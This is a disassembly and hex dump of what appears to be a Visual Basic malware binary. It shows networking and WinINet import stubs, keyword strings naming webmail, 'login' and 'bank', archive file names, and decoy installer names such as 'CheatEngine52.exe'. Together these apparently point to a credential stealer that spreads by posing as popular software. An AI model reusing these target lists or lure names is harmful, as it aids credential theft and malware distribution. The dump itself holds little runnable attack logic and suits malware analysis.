    00407102 00 00 ..
    00407104
    00407104 struct DeclareInfo
    00407104 lpszLibraryName uint32 0x406d24
    00407108 lpszFunctionName uint32 0x4070f4
    0040710c dwFlags uint32 0x00040000
    00407110 lpCache uint32 0x41be18
    00407114 dwReserved uint32 0x00000000
    00407118
    00407118 00 00 00 00 ....
    0040711c
    0040711cfn_40711c:
    0040711cmov eax, [0x41be20]
    00407121or eax, eax
    00407123je 0x407127
    00407125jmp eax
    00407127
    00407127loc_407127:
    00407127push 0x407104
    0040712cmov eax, 0x4010e0
    00407131call eax
    00407133jmp eax
    0040711c
    00407135
    00407135 00 00 00 ...
    00407138
    00407138 struct VBDeclareNameLength
    00407138 cbName int 10
    0040713c
    0040713c string "inet_addr",0
    00407146
    00407146 00 00 ..
    00407148
    00407148 struct DeclareInfo
    00407148 lpszLibraryName uint32 0x406d24
    0040714c lpszFunctionName uint32 0x40713c
    00407150 dwFlags uint32 0x00040000
    00407154 lpCache uint32 0x41be24
    00407158 dwReserved uint32 0x00000000
    0040715c
    0040715c 00 00 00 00 ....
    00407160
    00407160fn_407160:
    00407160mov eax, [0x41be2c]
    00407165or eax, eax
    00407167je 0x40716b
    00407169jmp eax
    0040716b
    0040716bloc_40716b:
    0040716bpush 0x407148
    00407170mov eax, 0x4010e0
    00407175call eax
    00407177jmp eax
    00407160
    00407179
    00407179 00 00 00 ...
    0040717c
    0040717c struct VBDeclareNameLength
    0040717c cbName int 6
    00407180
    00407180 string "htons",0
    00407186
    00407186 00 00 ..
    00407188
    00407188 struct DeclareInfo
    00407188 lpszLibraryName uint32 0x406d24
    0040718c lpszFunctionName uint32 0x407180
    00407190 dwFlags uint32 0x00040000
    00407194 lpCache uint32 0x41be30
    00407198 dwReserved uint32 0x00000000
    0040719c
    0040719c 00 00 00 00 ....
    004071a0
    004071a0fn_4071a0:
    004071a0mov eax, [0x41be38]
    004071a5or eax, eax
    004071a7je 0x4071ab
    004071a9jmp eax
    004071ab
    004071abloc_4071ab:
    004071abpush 0x407188
    004071b0mov eax, 0x4010e0
    004071b5call eax
    004071b7jmp eax
    004071a0
    004071b9
    004071b9 00 00 00 ...
    004071bc
    004071bc struct VBDeclareNameLength
    004071bc cbName int 12
    004071c0
    004071c0 string "ioctlsocket",0
    004071cc
    004071cc struct DeclareInfo
    004071cc lpszLibraryName uint32 0x406d24
    004071d0 lpszFunctionName uint32 0x4071c0
    004071d4 dwFlags uint32 0x00040000
    004071d8 lpCache uint32 0x41be3c
    004071dc dwReserved uint32 0x00000000
    004071e0
    004071e0 00 00 00 00 ....
    004071e4
    004071e4fn_4071e4:
    004071e4mov eax, [0x41be44]
    004071e9or eax, eax
    004071ebje 0x4071ef
    004071edjmp eax
    004071ef
    004071efloc_4071ef:
    004071efpush 0x4071cc
    004071f4mov eax, 0x4010e0
    004071f9call eax
    004071fbjmp eax
    004071e4
    004071fd
    004071fd 00 00 00 ...
    00407200
    00407200 struct VBDeclareNameLength
    00407200 cbName int 7
    00407204
    00407204 string "socket",0
    0040720b
    0040720b 00 .
    0040720c
    0040720c struct DeclareInfo
    0040720c lpszLibraryName uint32 0x406d24
    00407210 lpszFunctionName uint32 0x407204
    00407214 dwFlags uint32 0x00040000
    00407218 lpCache uint32 0x41be48
    0040721c dwReserved uint32 0x00000000
    00407220
    00407220 00 00 00 00 ....
    00407224
    00407224fn_407224:
    00407224mov eax, [0x41be50]
    00407229or eax, eax
    0040722bje 0x40722f
    0040722djmp eax
    0040722f
    0040722floc_40722f:
    0040722fpush 0x40720c
    00407234mov eax, 0x4010e0
    00407239call eax
    0040723bjmp eax
    00407224
    0040723d
    0040723d 00 00 00 ...
    00407240
    00407240 struct VBDeclareNameLength
    00407240 cbName int 8
    00407244
    00407244 string "connect",0
    0040724c
    0040724c struct DeclareInfo
    0040724c lpszLibraryName uint32 0x406d24
    00407250 lpszFunctionName uint32 0x407244
    00407254 dwFlags uint32 0x00040000
    00407258 lpCache uint32 0x41be54
    0040725c dwReserved uint32 0x00000000
    00407260
    00407260 00 00 00 00 ....
    00407264
    00407264fn_407264:
    00407264mov eax, [0x41be5c]
    00407269or eax, eax
    0040726bje 0x40726f
    0040726djmp eax
    0040726f
    0040726floc_40726f:
    0040726fpush 0x40724c
    00407274mov eax, 0x4010e0
    00407279call eax
    0040727bjmp eax
    00407264
    0040727d
    0040727d 00 00 00 ...
    00407280
    00407280 struct DeclareInfo
    00407280 lpszLibraryName uint32 0x406d24
    00407284 lpszFunctionName uint32 0x4070ac
    00407288 dwFlags uint32 0x00040000
    0040728c lpCache uint32 0x41be60
    00407290 dwReserved uint32 0x00000000
    00407294
    00407294 00 00 00 00 ....
    00407298
    00407298fn_407298:
    00407298mov eax, [0x41be68]
    0040729dor eax, eax
    0040729fje 0x4072a3
    004072a1jmp eax
    004072a3
    004072a3loc_4072a3:
    004072a3push 0x407280
    004072a8mov eax, 0x4010e0
    004072adcall eax
    004072afjmp eax
    00407298
    004072b1
    004072b1 00 00 00 ...
    004072b4
    004072b4 struct DeclareInfo
    004072b4 lpszLibraryName uint32 0x406d24
    004072b8 lpszFunctionName uint32 0x4070a0
    004072bc dwFlags uint32 0x00040000
    004072c0 lpCache uint32 0x41be6c
    004072c4 dwReserved uint32 0x00000000
    004072c8
    004072c8 00 00 00 00 ....
    004072cc
    004072ccfn_4072cc:
    004072ccmov eax, [0x41be74]
    004072d1or eax, eax
    004072d3je 0x4072d7
    004072d5jmp eax
    004072d7
    004072d7loc_4072d7:
    004072d7push 0x4072b4
    004072dcmov eax, 0x4010e0
    004072e1call eax
    004072e3jmp eax
    004072cc
    004072e5
    004072e5 00 00 00 ...
    004072e8
    004072e8 struct VBDeclareNameLength
    004072e8 cbName int 12
    004072ec
    004072ec string "closesocket",0
    004072f8
    004072f8 struct DeclareInfo
    004072f8 lpszLibraryName uint32 0x406d24
    004072fc lpszFunctionName uint32 0x4072ec
    00407300 dwFlags uint32 0x00040000
    00407304 lpCache uint32 0x41be78
    00407308 dwReserved uint32 0x00000000
    0040730c
    0040730c 00 00 00 00 ....
    00407310
    00407310fn_407310:
    00407310mov eax, [0x41be80]
    00407315or eax, eax
    00407317je 0x40731b
    00407319jmp eax
    0040731b
    0040731bloc_40731b:
    0040731bpush 0x4072f8
    00407320mov eax, 0x4010e0
    00407325call eax
    00407327jmp eax
    00407310
    00407329
    00407329 00 00 00 58 00 48 00 ...X.H.
    00407330 00 00 04 00 00 00 00 10 0c 00 49 20 00 00 ff ff ..........I ....
    00407340 d8 6c 40 00 ff ff ff ff ff ff ff ff 00 00 00 00 .l@.............
    00407350 90 01 00 00 24 00 49 20 00 00 ff ff d8 6c 40 00 ....$.I .....l@.
    00407360 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
    00407370 3c 00 05 21 00 00 ff ff 01 20 40 00 05 21 00 00 <..!..... @..!..
    00407380 ff ff 01 20 ...
    00407384
    00407384 struct VBDeclareNameLength
    00407384 cbName int 17
    00407388
    00407388 string "InternetReadFile",0
    00407399
    00407399 00 00 00 ...
    0040739c
    0040739c struct DeclareInfo
    0040739c lpszLibraryName uint32 0x40660c
    004073a0 lpszFunctionName uint32 0x407388
    004073a4 dwFlags uint32 0x00040000
    004073a8 lpCache uint32 0x41be84
    004073ac dwReserved uint32 0x00000000
    004073b0
    004073b0 00 00 00 00 ....
    004073b4
    004073b4fn_4073b4:
    004073b4mov eax, [0x41be8c]
    004073b9or eax, eax
    004073bbje 0x4073bf
    004073bdjmp eax
    004073bf
    004073bfloc_4073bf:
    004073bfpush 0x40739c
    004073c4mov eax, 0x4010e0
    004073c9call eax
    004073cbjmp eax
    004073b4
    004073cd
    004073cd 00 00 00 ...
    004073d0
    004073d0 struct VBDeclareNameLength
    004073d0 cbName int 20
    004073d4
    004073d4 string "InternetCloseHandle",0
    004073e8
    004073e8 struct DeclareInfo
    004073e8 lpszLibraryName uint32 0x40660c
    004073ec lpszFunctionName uint32 0x4073d4
    004073f0 dwFlags uint32 0x00040000
    004073f4 lpCache uint32 0x41be90
    004073f8 dwReserved uint32 0x00000000
    004073fc
    004073fc 00 00 00 00 ....
    00407400
    00407400fn_407400:
    00407400mov eax, [0x41be98]
    00407405or eax, eax
    00407407je 0x40740b
    00407409jmp eax
    0040740b
    0040740bloc_40740b:
    0040740bpush 0x4073e8
    00407410mov eax, 0x4010e0
    00407415call eax
    00407417jmp eax
    00407400
    00407419
    00407419 00 00 00 ...
    0040741c
    0040741c struct VBDeclareNameLength
    0040741c cbName int 14
    00407420
    00407420 string "InternetOpenA",0
    0040742e
    0040742e 00 00 ..
    00407430 02 00 00 00 ....
    00407434
    00407434 wstring ".",0
    00407438
    00407438 06 00 00 00 ....
    0040743c
    0040743c wstring "hzy",0
    00407444
    00407444 02 00 00 00 ....
    00407448
    00407448 wstring "V",0
    0040744c
    0040744c struct DeclareInfo
    0040744c lpszLibraryName uint32 0x40660c
    00407450 lpszFunctionName uint32 0x407420
    00407454 dwFlags uint32 0x00040000
    00407458 lpCache uint32 0x41be9c
    0040745c dwReserved uint32 0x00000000
    00407460
    00407460 00 00 00 00 ....
    00407464
    00407464fn_407464:
    00407464mov eax, [0x41bea4]
    00407469or eax, eax
    0040746bje 0x40746f
    0040746djmp eax
    0040746f
    0040746floc_40746f:
    0040746fpush 0x40744c
    00407474mov eax, 0x4010e0
    00407479call eax
    0040747bjmp eax
    00407464
    0040747d
    0040747d 00 00 00 ...
    00407480
    00407480 struct VBDeclareNameLength
    00407480 cbName int 17
    00407484
    00407484 string "InternetConnectA",0
    00407495
    00407495 00 00 00 ...
    00407498
    00407498 struct DeclareInfo
    00407498 lpszLibraryName uint32 0x40660c
    0040749c lpszFunctionName uint32 0x407484
    004074a0 dwFlags uint32 0x00040000
    004074a4 lpCache uint32 0x41bea8
    004074a8 dwReserved uint32 0x00000000
    004074ac
    004074ac 00 00 00 00 ....
    004074b0
    004074b0fn_4074b0:
    004074b0mov eax, [0x41beb0]
    004074b5or eax, eax
    004074b7je 0x4074bb
    004074b9jmp eax
    004074bb
    004074bbloc_4074bb:
    004074bbpush 0x407498
    004074c0mov eax, 0x4010e0
    004074c5call eax
    004074c7jmp eax
    004074b0
    004074c9
    004074c9 00 00 00 ...
    004074cc
    004074cc struct VBDeclareNameLength
    004074cc cbName int 17
    004074d0
    004074d0 string "InternetOpenUrlA",0
    004074e1
    004074e1 00 00 00 ...
    004074e4
    004074e4 struct DeclareInfo
    004074e4 lpszLibraryName uint32 0x40660c
    004074e8 lpszFunctionName uint32 0x4074d0
    004074ec dwFlags uint32 0x00040000
    004074f0 lpCache uint32 0x41beb4
    004074f4 dwReserved uint32 0x00000000
    004074f8
    004074f8 00 00 00 00 ....
    004074fc
    004074fcfn_4074fc:
    004074fcmov eax, [0x41bebc]
    00407501or eax, eax
    00407503je 0x407507
    00407505jmp eax
    00407507
    00407507loc_407507:
    00407507push 0x4074e4
    0040750cmov eax, 0x4010e0
    00407511call eax
    00407513jmp eax
    004074fc
    00407515
    00407515 00 00 00 0c 00 08 00 00 00 00 00 ...........
    00407520 00 00 00 00 14 00 00 00 ........
    00407528
    00407528 wstring "Friendster",0
    0040753e
    0040753e 00 00 ..
    00407540 0a 00 00 00 ....
    00407544
    00407544 wstring "yahoo",0
    00407550
    00407550 0a 00 00 00 ....
    00407554
    00407554 wstring "gmail",0
    00407560
    00407560 0a 00 00 00 ....
    00407564
    00407564 wstring "login",0
    00407570
    00407570 08 00 00 00 ....
    00407574
    00407574 wstring "bank",0
    0040757e
    0040757e 00 00 ..
    00407580 0e 00 00 00 ....
    00407584
    00407584 wstring "hotmail",0
    00407594
    00407594 12 00 00 00 ....
    00407598
    00407598 wstring "\\64enc.en",0
    004075ac
    004075ac 14 00 00 00 ....
    004075b0
    004075b0 wstring "\\MYpIC.zip",0
    004075c6
    004075c6 00 00 04 00 00 00 ......
    004075cc
    004075cc wstring ":\\",0
    004075d2
    004075d2 00 00 00 00 00 00 47 00 65 00 74 00 46 00 ......G.e.t.F.
    004075e0 69 00 6c 00 65 00 00 00 4f 00 70 00 65 00 6e 00 i.l.e...O.p.e.n.
    004075f0 41 00 73 00 54 00 65 00 78 00 74 00 53 00 74 00 A.s.T.e.x.t.S.t.
    00407600 72 00 65 00 61 00 6d 00 00 00 00 00 52 00 65 00 r.e.a.m.....R.e.
    00407610 61 00 64 00 41 00 6c 00 6c 00 00 00 02 00 00 00 a.d.A.l.l.......
    00407620
    00407620 wstring "@",0
    00407624
    00407624 43 00 6c 00 6f 00 73 00 65 00 00 00 C.l.o.s.e...
    00407630 52 00 65 00 61 00 64 00 4c 00 69 00 6e 00 65 00 R.e.a.d.L.i.n.e.
    00407640 00 00 00 00 02 00 00 00 ........
    00407648
    00407648 wstring " ",0
    0040764c
    0040764c 4e 00 00 00 N...
    00407650
    00407650 wstring "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._",0
    004076a0
    004076a0 04 00 00 00 ....
    004076a4
    004076a4 wstring "CO",0
    004076aa
    004076aa 00 00 02 00 00 00 ......
    004076b0
    004076b0 wstring "m",0
    004076b4
    004076b4 04 00 00 00 ....
    004076b8
    004076b8 wstring ".B",0
    004076be
    004076be 00 00 ..
    004076c0 02 00 00 00 ....
    004076c4
    004076c4 wstring "r",0
    004076c8
    004076c8 06 00 00 00 ....
    004076cc
    004076cc wstring "zip",0
    004076d4
    004076d4 06 00 00 00 ....
    004076d8
    004076d8 wstring "}q}",0
    004076e0
    004076e0 06 00 00 00 ....
    004076e4
    004076e4 wstring "}de",0
    004076ec
    004076ec 2c 00 00 00 ,...
    004076f0
    004076f0 wstring "RealPlayer13-5GOLD.exe",0
    0040771e
    0040771e 00 00 ..
    00407720 3c 00 00 00 <...
    00407724
    00407724 wstring "Icon Cool-Editor 3.4.30315.exe",0
    00407762
    00407762 00 00 22 00 00 00 .."...
    00407768
    00407768 wstring "CheatEngine52.exe",0
    0040778c
    0040778c 22 00 00 00 "...
    00407790
    00407790 wstring "framework-4.4.exe",0
    004077b4
    004077b4 42 00 00 00 B...
    004077b8
    004077b8 wstring "Vista Transformation Pack 4.0.exe",0
    004077fc
    004077fc 36 00 00 00 6...
    00407800
    00407800 wstring "Pack_Vista_Inspirat_1.6.exe",0
    00407838
    00407838 2a 00 00 00 *...
    0040783c
    0040783c wstring "DeepUnfreezerU1.6.exe",0